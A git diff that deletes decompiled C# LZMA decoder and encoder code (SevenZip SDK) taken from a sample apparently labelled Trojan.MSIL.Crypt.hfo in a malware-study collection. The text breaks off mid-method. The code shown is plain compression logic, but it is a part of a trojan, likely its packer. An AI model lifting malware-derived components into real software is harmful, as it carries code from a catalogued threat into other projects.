Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Encoder.cs deleted file mode 100644 index 635ebd92..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - 